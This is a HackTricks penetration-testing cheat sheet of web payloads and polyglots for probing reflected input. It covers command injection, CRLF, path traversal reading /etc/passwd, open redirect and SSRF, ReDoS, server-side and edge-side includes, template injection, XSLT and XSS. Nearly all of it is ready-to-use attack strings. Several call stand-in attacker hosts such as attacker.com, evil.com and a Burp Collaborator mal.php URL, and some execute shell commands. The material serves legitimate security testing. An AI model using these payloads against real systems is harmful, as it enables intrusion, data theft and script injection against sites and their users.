hacktricks/pentesting-web/pocs-and-polygloths-cheatsheet.md

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# Reflecting Techniques - PoCs and Polygloths CheatSheet
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The goal of these PoCs and Polygloths is to give the tester a fast **summary** of vulnerabilities he may exploit if his **input is somehow being reflected in the response**.
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{% hint style="warning" %}
This **cheatsheet doesn't propose a comprehensive list of tests for each vulnerability**, juts some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed.
{% endhint %}
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{% hint style="danger" %}
You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure.
{% endhint %}
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## Polygloths list
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
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<br><b><h1>THIS IS AND INJECTED TITLE </h1>
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/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
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## [Client Side Template Injection](client-side-template-injection-csti.md)
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### Basic Tests
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```text
{{7*7}}
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[7*7]
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```
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### Polygloths
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```bash
{{7*7}}[7*7]
```
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## [Command Injection](command-injection.md)
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### Basic Tests
```bash
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;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
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`ls`
$(ls)
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```
### Polygloths
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```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
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```
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## [CRLF](crlf-0d-0a.md)
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### Basic Tests
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
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## Dangling Markup
### Basic Tests
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
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## [File Inclusion/Path Traversal](file-inclusion/)
### Basic Tests
```bash
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
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## [Open Redirect](open-redirect.md) / [Server Side Request Forgery](ssrf-server-side-request-forgery.md)
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### Basic Tests
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](regular-expression-denial-of-service-redos.md)
### Basic Tests
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
## [Server Side Inclusion/Edge Side Inclusion](server-side-inclusion-edge-side-inclusion-injection.md)
### Basic Tests
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
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x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
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```
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### Polygloths
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
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## [Server Side Request Forgery](ssrf-server-side-request-forgery.md)
The same tests used for Open Redirect can be used here.
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## [Server Side Template Injection](ssti-server-side-template-injection/)
### Basic Tests
```markup
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
```
### Polygloths
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLT Server Side Injection](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
### Basic Tests
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polygloths
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
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## XSS
### Basic Tests
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polygloths
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```